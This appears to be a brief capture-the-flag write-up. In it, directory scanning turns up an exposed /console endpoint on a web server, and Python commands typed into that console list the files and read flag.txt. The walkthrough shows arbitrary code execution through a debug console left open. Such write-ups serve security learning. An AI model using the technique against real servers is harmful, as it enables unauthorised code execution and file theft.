When we enter the website and follow a hyperlink we are met with an error, when we see what causes it we realize when the access the /getflag endpoint, the webserver simply does "raise", so it is useless. We do a dirsearch and find a /console endpoint, which allow us to execute any python command we want

```
>>> import os; os.listdir('.')
['.bashrc', '.profile', '.bash_logout', 'app.py', 'flag.txt']
>>> open('flag.txt').read()
And we get the flag.
Made with love by: AndreiCat
```